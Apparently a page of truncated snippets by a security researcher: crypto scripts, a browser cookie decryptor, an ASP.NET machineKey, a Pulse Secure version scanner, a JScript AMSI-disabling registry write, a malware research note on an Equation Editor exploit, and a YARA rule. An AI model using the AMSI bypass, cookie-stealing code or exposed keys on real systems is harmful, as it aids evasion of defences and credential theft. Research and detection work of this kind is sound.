rxwx

#!/usr/bin/env python

import os
import sys
import struct
import binascii
from Crypto.Cipher import AES

IV = binascii.unhexlify("0A254C2FE7AE0B7047028D6B4B2E6944")
AES_KEY = binascii.unhexlify("FE4C8C32FBAE1AF3C4A0ABC8E1866CAD")

rxwx

import re
import sys

versions = {
    0x00: 'Excel 97',
    0x01: 'Excel 2000',
    0x02: 'Excel 2002',
    0x03: 'Office Excel 2003',
    0x04: 'Office Excel 2007',
    0x06: 'Excel 2010',

rxwx

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3
import os
import shutil

def clean(x):
    return x[:-ord(x[-1])]

# Make a copy of the cookie file

rxwx

<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

rxwx

import requests
import sys
import re

HEADERS = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0"}

if len(sys.argv) != 2:
    print " Usage: python pulseversion.py <target ip/domain>"
    sys.exit(1)

rxwx

var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";

try{
	var AmsiEnable = sh.RegRead(key);
	if(AmsiEnable!=0){
	throw new Error(1, '');
	}
}catch(e){
	sh.RegWrite(key, 0, "REG_DWORD"); // neuter AMSI

rxwx

<#
.SYNOPSIS
Author: Rich Warren

Based on original c# code by Jon Galloway:

https://weblogs.asp.net/jongalloway/creating-zip-archives-in-net-without-an-external-library-like-sharpziplib

.DESCRIPTION
Tool for creating a Zip file in native Powershell with .NET 3.0 only.

rxwx

New Equation Editor Exploit Variant

On 19/03/18, a large number of RTF samples started triggering one of my "suspicious" RTF rules. Looking at the samples, they all appeared to have around 2-4 detections, which seemed curious. This was confirmed by Mitja Kolsek to be a new variant of CVE-2018-0802, which is already covered by 0patch, and patched by Microsoft in January 2018. However, the technique is not unique to CVE-2018-0802 and can be seen used to exploit CVE-2017-11882 aswell.

• VT: https://www.virustotal.com/#/file/189d2dc825a3b1f00b91d3e0b7678b7fb128e74d831d99487b80cbf5cf805a74/detection
• Anyrun: https://app.any.run/tasks/e3d99cd3-8886-48f1-a8ce-dde0cbbe0889

This was also seen by Shiao Qu. There is a [blog post](https://www.drop

rxwx

rule CVE_2017_8759_CRLF {
   meta:
      description = "Detects attempts to exploit CVE-2017-8759 CRLF injection in WSDL file"
      author = "Rich Warren @buffaloverflow"
      reference = "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html"
      date = "2017-09-17"
   strings:
      $s1 = /<soap:address location=\";\r?\n/ ascii wide nocase
   condition:
      $s1

rxwx